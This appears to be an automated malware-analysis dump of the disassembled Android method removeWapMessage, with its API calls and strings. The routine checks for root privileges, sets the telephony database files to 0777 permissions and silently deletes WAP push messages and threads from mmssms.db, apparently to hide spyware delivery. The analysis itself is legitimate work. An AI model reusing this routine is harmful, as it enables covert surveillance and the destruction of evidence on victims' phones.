      610catch_357: move-exception v8
      611goto/16 :goto_128
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.ReentrantReadWriteLock.<init>
      • java.util.concurrent.locks.ReentrantReadWriteLock.readLock
      • java.util.concurrent.locks.Lock.lock
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.util.LinkedList.<init>
      • java.util.HashSet.<init>
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.List.add
      • java.util.Set.add
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.List.iterator
      • java.util.Iterator.hasNext
      • java.util.Iterator.next
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.delete
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • java.util.Set.iterator
      • java.util.Iterator.hasNext
      • java.util.Iterator.next
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.delete
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • removeWapMessage android doesnt have PE.
      • /data/data/com.android.providers.telephony/databases/mmssms.db
      • removeWapMessage:
      • removeWapMessage DB not exists -> exit!:
      • removeWapMessage error -
      • /data/data/com.android.providers.telephony/databases
      • mmssms.db
      • mmssms.db-shm
      • mmssms.db-wal
      • 0777
      • select * from wpm
      • removeWapMessage error finaly-
      • removeWapMessage openDatabase NO_LOCALIZED_COLLATORS Throwable-
      • removeWapMessage fail to openDatabase:
      • , try to open with OPEN_READONLY
      • removeWapMessage openDatabase SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY Throwable-
      • , try to open with CONFLICT_IGNORE
      • href
      • _id
      • read
      • seen
      • thread_id
      • removeWapMessage seen
      • , read
      • , href:
      • , thread_id:
      • removeWapMessage add TO REMOVE list seen
      • removeWapMessage Throwable-
      • LOG_FAIL_TO_REMOVE_WAP
      • _id=
      • wpm
      • removeWapMessage removed WAP MESSAGE
      • , row affected :
      • threads
      • removeWapMessage removed WAP THREAD
      • removeWapMessage end
      Position Instruction Meta Information
      0try_start_0:
      1invoke-static {}, Lcom/network/b/b;->c()Z
      2move-result v0
      3if-nez v0, :cond_c
      5const-string v0, "removeWapMessage android doesnt have PE."
      7invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      8goto_b: return-void
      9cond_c:
      10const-string v0, "/data/data/com.android.providers.telephony/databases/mmssms.db"
      11new-instance v1, Ljava/lang/StringBuilder;
      13const-string v2, "removeWapMessage:"
      15invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      17invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      18move-result-object v1
      20invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      21move-result-object v1
      23invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      24new-instance v1, Ljava/io/File;
      26invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      28invoke-virtual {v1}, Ljava/io/File;->exists()Z
      29move-result v1
      30if-nez v1, :cond_56
      31new-instance v1, Ljava/lang/StringBuilder;
      33const-string v2, "removeWapMessage DB not exists -> exit!: "
      35invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      37invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      38move-result-object v0
      40invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      41move-result-object v0
      43invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      44try_end_3d: goto/16 :goto_b
      45catch_3e: move-exception v0
      46new-instance v1, Ljava/lang/StringBuilder;
      48const-string v2, "removeWapMessage error - "
      50invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      52invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      53move-result-object v2
      55invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      56move-result-object v1
      58invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      59move-result-object v1
      61invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      62goto/16 :goto_b
      63cond_56: const/4 v2, 0x0
      64const/4 v1, 0x0
      65try_start_58: new-instance v3, Ljava/util/concurrent/locks/ReentrantReadWriteLock;
      67invoke-direct {v3}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;-><init>()V
      69invoke-virtual {v3}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;->readLock()Ljava/util/concurrent/locks/ReentrantReadWriteLock$ReadLock;
      70try_end_60: move-result-object v3
      71try_start_61:
      72const-string v4, "/data/data/com.android.providers.telephony/databases"
      73const/4 v5, 0x3
      74new-array v5, v5, [Ljava/lang/String;
      75const/4 v6, 0x0
      77const-string v7, "mmssms.db"
      78aput-object v7, v5, v6
      79const/4 v6, 0x1
      81const-string v7, "mmssms.db-shm"
      82aput-object v7, v5, v6
      83const/4 v6, 0x2
      85const-string v7, "mmssms.db-wal"
      86aput-object v7, v5, v6
      88invoke-static {v4, v5}, Lcom/network/android/m;->a(Ljava/lang/String;[Ljava/lang/String;)Ljava/util/HashMap;
      89move-result-object v6
      91const-string v7, "0777"
      93invoke-static {v7, v4, v5}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
      95invoke-interface {v3}, Ljava/util/concurrent/locks/Lock;->lock()V
      96try_end_81: const/4 v7, 0x0
      97const/16 v8, 0x10
      98try_start_84:
      99invoke-static {v0, v7, v8}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      100try_end_87: move-result-object v1
      101goto_88:
      102const-string v0, "select * from wpm"
      103const/4 v7, 0x0
      105invoke-virtual {v1, v0, v7}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      106try_end_8e: move-result-object v2
      107if-nez v2, :cond_128
      108if-eqz v2, :cond_96
      109try_start_93:
      110invoke-interface {v2}, Landroid/database/Cursor;->close()V
      111cond_96: if-eqz v1, :cond_9b
      113invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      114cond_9b:
      115invoke-interface {v3}, Ljava/util/concurrent/locks/Lock;->unlock()V
      116try_end_9e: goto/16 :goto_b
      117catch_a0: move-exception v0
      118try_start_a1: new-instance v1, Ljava/lang/StringBuilder;
      120const-string v2, "removeWapMessage error finaly- "
      122invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      124invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      125move-result-object v2
      127invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      128move-result-object v1
      130invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      131move-result-object v1
      133invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      134try_end_b7: goto/16 :goto_b
      135catch_b9: move-exception v7
      136try_start_ba: new-instance v8, Ljava/lang/StringBuilder;
      138const-string v9, "removeWapMessage openDatabase NO_LOCALIZED_COLLATORS Throwable- "
      140invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      142invoke-virtual {v7}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      143move-result-object v9
      145invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      146move-result-object v8
      148invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      149move-result-object v8
      151invoke-static {v8, v7}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      152new-instance v8, Ljava/lang/StringBuilder;
      154const-string v9, "removeWapMessage fail to openDatabase: "
      156invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      158invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      159move-result-object v8
      161const-string v9, ", try to open with OPEN_READONLY"
      163invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      164move-result-object v8
      166invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      167move-result-object v8
      169invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      170const/4 v8, 0x0
      171const/16 v9, 0x11
      173invoke-static {v0, v8, v9}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      174try_end_ee: move-result-object v1
      175goto/16 :goto_88
      176catch_f0: move-exception v8
      177try_start_f1: new-instance v8, Ljava/lang/StringBuilder;
      179const-string v9, "removeWapMessage openDatabase SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY Throwable- "
      181invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      183invoke-virtual {v7}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      184move-result-object v9
      186invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      187move-result-object v8
      189invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      190move-result-object v8
      192invoke-static {v8, v7}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      193new-instance v7, Ljava/lang/StringBuilder;
      195const-string v8, "removeWapMessage fail to openDatabase: "
      197invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      199invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      200move-result-object v7
      202const-string v8, ", try to open with CONFLICT_IGNORE"
      204invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      205move-result-object v7
      207invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      208move-result-object v7
      210invoke-static {v7}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      211const/4 v7, 0x0
      212const/16 v8, 0x14
      214invoke-static {v0, v7, v8}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      215move-result-object v1
      216goto/16 :goto_88
      217cond_128: new-instance v0, Ljava/util/LinkedList;
      219invoke-direct {v0}, Ljava/util/LinkedList;-><init>()V
      220new-instance v7, Ljava/util/HashSet;
      222invoke-direct {v7}, Ljava/util/HashSet;-><init>()V
      223goto_132:
      224invoke-interface {v2}, Landroid/database/Cursor;->moveToNext()Z
      225move-result v8
      226if-eqz v8, :cond_20f
      228const-string v8, "href"
      230invoke-interface {v2, v8}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      231move-result v8
      233invoke-interface {v2, v8}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      234move-result-object v8
      236const-string v9, "_id"
      238invoke-interface {v2, v9}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      239move-result v9
      241invoke-interface {v2, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      242move-result-object v9
      244const-string v10, "read"
      246invoke-interface {v2, v10}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      247move-result v10
      249invoke-interface {v2, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      250move-result-object v10
      252const-string v11, "seen"
      254invoke-interface {v2, v11}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      255move-result v11
      257invoke-interface {v2, v11}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      258move-result-object v11
      260const-string v12, "thread_id"
      262invoke-interface {v2, v12}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      263move-result v12
      265invoke-interface {v2, v12}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      266move-result-object v12
      267new-instance v13, Ljava/lang/StringBuilder;
      269const-string v14, "removeWapMessage seen "
      271invoke-direct {v13, v14}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      273invoke-virtual {v13, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      274move-result-object v13
      276const-string v14, ", read "
      278invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      279move-result-object v13
      281invoke-virtual {v13, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      282move-result-object v13
      284const-string v14, ", href:"
      286invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      287move-result-object v13
      289invoke-virtual {v13, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      290move-result-object v13
      292const-string v14, ", thread_id:"
      294invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      295move-result-object v13
      297invoke-virtual {v13, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      298move-result-object v13
      300invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      301move-result-object v13
      303invoke-static {v13}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      305invoke-interface {v0, v9}, Ljava/util/List;->add(Ljava/lang/Object;)Z
      307invoke-interface {v7, v12}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
      308new-instance v9, Ljava/lang/StringBuilder;
      310const-string v12, "removeWapMessage add TO REMOVE list seen "
      312invoke-direct {v9, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      314invoke-virtual {v9, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      315move-result-object v9
      317const-string v11, ", read "
      319invoke-virtual {v9, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      320move-result-object v9
      322invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      323move-result-object v9
      325const-string v10, ", href:"
      327invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      328move-result-object v9
      330invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      331move-result-object v8
      333invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      334move-result-object v8
      336invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      337try_end_1c6: goto/16 :goto_132
      338catch_1c8: move-exception v0
      339try_start_1c9: new-instance v4, Ljava/lang/StringBuilder;
      341const-string v5, "removeWapMessage Throwable- "
      343invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      345invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      346move-result-object v5
      348invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      349move-result-object v4
      351invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      352move-result-object v4
      354invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      355const/4 v0, 0x1
      356const/16 v4, 0x271f
      358const-string v5, "LOG_FAIL_TO_REMOVE_WAP"
      360invoke-static {v0, v4, v5}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      361try_end_1e7: if-eqz v2, :cond_1ec
      362try_start_1e9:
      363invoke-interface {v2}, Landroid/database/Cursor;->close()V
      364cond_1ec: if-eqz v1, :cond_1f1
      366invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      367cond_1f1:
      368invoke-interface {v3}, Ljava/util/concurrent/locks/Lock;->unlock()V
      369try_end_1f4: goto/16 :goto_b
      370catch_1f6: move-exception v0
      371try_start_1f7: new-instance v1, Ljava/lang/StringBuilder;
      373const-string v2, "removeWapMessage error finaly- "
      375invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      377invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      378move-result-object v2
      380invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      381move-result-object v1
      383invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      384move-result-object v1
      386invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      387try_end_20d: goto/16 :goto_b
      388try_start_20f:
      389invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
      390move-result-object v8
      391goto_213:
      392invoke-interface {v8}, Ljava/util/Iterator;->hasNext()Z
      393move-result v0
      394if-eqz v0, :cond_261
      396invoke-interface {v8}, Ljava/util/Iterator;->next()Ljava/lang/Object;
      397move-result-object v0
      398check-cast v0, Ljava/lang/String;
      399new-instance v9, Ljava/lang/StringBuilder;
      401const-string v10, "_id="
      403invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      405invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      406move-result-object v0
      408invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      409move-result-object v0
      411const-string v9, "wpm"
      412const/4 v10, 0x0
      414invoke-virtual {v1, v9, v0, v10}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
      415move-result v9
      416new-instance v10, Ljava/lang/StringBuilder;
      418const-string v11, "removeWapMessage removed WAP MESSAGE"
      420invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      422invoke-virtual {v10, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      423move-result-object v0
      425const-string v10, ", row affected : "
      427invoke-virtual {v0, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      428move-result-object v0
      430invoke-virtual {v0, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      431move-result-object v0
      433invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      434move-result-object v0
      436invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      437try_end_251: goto/16 :goto_213
      438catchall_252: move-exception v0
      439if-eqz v2, :cond_258
      440try_start_255:
      441invoke-interface {v2}, Landroid/database/Cursor;->close()V
      442cond_258: if-eqz v1, :cond_25d
      444invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      445cond_25d:
      446invoke-interface {v3}, Ljava/util/concurrent/locks/Lock;->unlock()V
      447try_end_260: throw v0
      448try_end_261:
      449invoke-interface {v7}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
      450move-result-object v7
      451goto_265:
      452invoke-interface {v7}, Ljava/util/Iterator;->hasNext()Z
      453move-result v0
      454if-eqz v0, :cond_2a4
      456invoke-interface {v7}, Ljava/util/Iterator;->next()Ljava/lang/Object;
      457move-result-object v0
      458check-cast v0, Ljava/lang/String;
      459new-instance v8, Ljava/lang/StringBuilder;
      461const-string v9, "_id="
      463invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      465invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      466move-result-object v0
      468invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      469move-result-object v0
      471const-string v8, "threads"
      472const/4 v9, 0x0
      474invoke-virtual {v1, v8, v0, v9}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
      475move-result v8
      476new-instance v9, Ljava/lang/StringBuilder;
      478const-string v10, "removeWapMessage removed WAP THREAD "
      480invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      482invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      483move-result-object v0
      485const-string v9, ", row affected : "
      487invoke-virtual {v0, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      488move-result-object v0
      490invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      491move-result-object v0
      493invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      494move-result-object v0
      496invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      497goto/16 :goto_265
      498cond_2a4:
      499invoke-static {v6, v4, v5}, Lcom/network/android/m;->a(Ljava/util/HashMap;Ljava/lang/String;[Ljava/lang/String;)V
      501const-string v0, "removeWapMessage end"
      503invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      504try_end_2ac: if-eqz v2, :cond_2b1
      505try_start_2ae:
      506invoke-interface {v2}, Landroid/database/Cursor;->close()V
      507cond_2b1: if-eqz v1, :cond_2b6
      509invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      510cond_2b6:
      511invoke-interface {v3}, Ljava/util/concurrent/locks/Lock;->unlock()V
      512try_end_2b9: goto/16 :goto_b
      513catch_2bb: move-exception v0
      514try_start_2bc: new-instance v1, Ljava/lang/StringBuilder;
      516const-string v2, "removeWapMessage error finaly- "
      518invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      520invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      521move-result-object v2
      523invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      524move-result-object v1
      526invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      527move-result-object v1
      529invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      530goto/16 :goto_b
      531catch_2d4: move-exception v1
      532new-instance v2, Ljava/lang/StringBuilder;
      534const-string v3, "removeWapMessage error finaly- "
      536invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      538invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      539move-result-object v3
      541invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      542move-result-object v2
      544invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      545move-result-object v2
      547invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      548try_end_2eb: goto/16 :goto_260
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.parseLong
      • java.util.Date.<init>
      • java.util.Date.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.<init>
      • org.json.JSONObject.<init>
      • org.json.JSONObject.optString
      • java.lang.String.toString
      • org.json.JSONObject.optString
      • java.lang.String.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.LinkedList.<init>
      • java.util.LinkedList.<init>
      • java.util.List.size
      • java.util.List.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.List.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
